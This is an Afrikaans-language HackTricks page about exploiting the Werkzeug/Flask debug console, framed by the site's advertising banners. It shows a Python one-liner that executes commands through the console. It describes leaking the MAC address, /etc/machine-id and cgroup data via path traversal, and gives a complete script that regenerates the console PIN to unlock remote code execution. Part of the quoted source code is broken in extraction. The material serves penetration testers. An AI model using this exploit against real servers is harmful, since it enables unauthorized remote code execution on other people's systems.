9.3 KiB
Werkzeug / Flask Foutopsporing
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud GitHub-opslagplekke.
![](/.gitbook/assets/image%20%282%29.png)
Onmiddellik beskikbare opset vir kwetsbaarheidsevaluering en penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te laat pop en pret te hê.
{% embed url="https://pentest-tools.com/" %}
Konsole RCE
As foutopsporing aktief is, kan jy probeer om toegang te verkry tot /console
en RCE verkry.
__import__('os').popen('whoami').read();
Daar is ook verskeie exploits op die internet soos hierdie of een in metasploit.
Pin Beskerm - Pad Traversal
In sommige gevalle sal die /console
eindpunt beskerm word deur 'n pin. As jy 'n lêer traversal kwesbaarheid het, kan jy al die nodige inligting uitlek om daardie pin te genereer.
Werkzeug Console PIN Exploit
Dwing 'n foutbladsy in die app af om dit te sien:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
'n Boodskap met betrekking tot die "konsole gesluit" scenario word aangetref wanneer daar gepoog word om toegang te verkry tot Werkzeug se foutopsporingskoppelvlak, wat aandui dat 'n PIN benodig word om die konsole te ontgrendel. Die voorstel word gemaak om die konsole-PIN uit te buit deur die PIN-generasie-algoritme in Werkzeug se foutopsporingsinisialisasie-lêer (__init__.py
) te analiseer. Die PIN-generasiemeganisme kan bestudeer word vanuit die Werkzeug-bronkode-opgaarplek, alhoewel dit aanbeveel word om die werklike bedienerkode te bekom deur middel van 'n lêertraversie-gebrek weens potensiële weergawegapinge.
Om die konsole-PIN uit te buit, word twee stelle veranderlikes, probably_public_bits
en private_bits
, benodig:
probably_public_bits
username
: Verwys na die gebruiker wat die Flask-sessie geïnisieer het.modname
: Gewoonlik aangedui asflask.app
.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: Los gewoonlik op na Flask.getattr(mod, '__file__', None)
: Verteenwoordig die volledige pad naapp.py
binne die Flask-gids (bv.,/usr/local/lib/python3.5/dist-packages/flask/app.py
). Asapp.py
nie van toepassing is nie, probeerapp.pyc
.
private_bits
uuid.getnode()
: Haal die MAC-adres van die huidige masjien op, metstr(uuid.getnode())
wat dit in 'n desimale formaat omskakel.- Om die bediener se MAC-adres te bepaal, moet 'n mens die aktiewe netwerkinterface wat deur die toepassing gebruik word, identifiseer (bv.,
ens3
). In gevalle van onsekerheid, lek/proc/net/arp
om die toestel-ID te vind, en ekstraeer die MAC-adres uit/sys/class/net/<toestel-ID>/address
. - Omskakeling van 'n heksadesimale MAC-adres na desimaal kan soos volg uitgevoer word:
# Voorbeeld MAC-adres: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
: Kombineer data vanaf/etc/machine-id
of/proc/sys/kernel/random/boot_id
met die eerste lyn van/proc/self/cgroup
na die laaste skuingestreepte (/
).
Kode vir `get_machine_id()`
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
</details>
Nadat alle nodige data versamel is, kan die uitbuitingskrip uitgevoer word om die Werkzeug-konsole PIN te genereer.
Die krip gebruik die versamelde `probably_public_bits` en `private_bits` om 'n hasie te skep, wat dan verder verwerk word om die finale PIN te produseer. Hieronder is die Python-kode om hierdie proses uit te voer:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Hierdie skrip produseer die PIN deur die saamgevoegde bits te hash, spesifieke sout (cookiesalt en pinsalt) by te voeg, en die uitset te formateer. Dit is belangrik om daarop te let dat die werklike waardes vir probably_public_bits
en private_bits
akkuraat verkry moet word vanaf die teikensisteem om te verseker dat die gegenereerde PIN ooreenstem met die een wat deur die Werkzeug-konsole verwag word.
{% hint style="success" %} As jy op 'n ou weergawe van Werkzeug is, probeer om die hash-algoritme na md5 te verander in plaas van sha1. {% endhint %}
Verwysings
![](/.gitbook/assets/image%20%282%29.png)
Onmiddellik beskikbare opset vir kwesbaarheidsassessering & penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.
{% embed url="https://pentest-tools.com/" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslaan.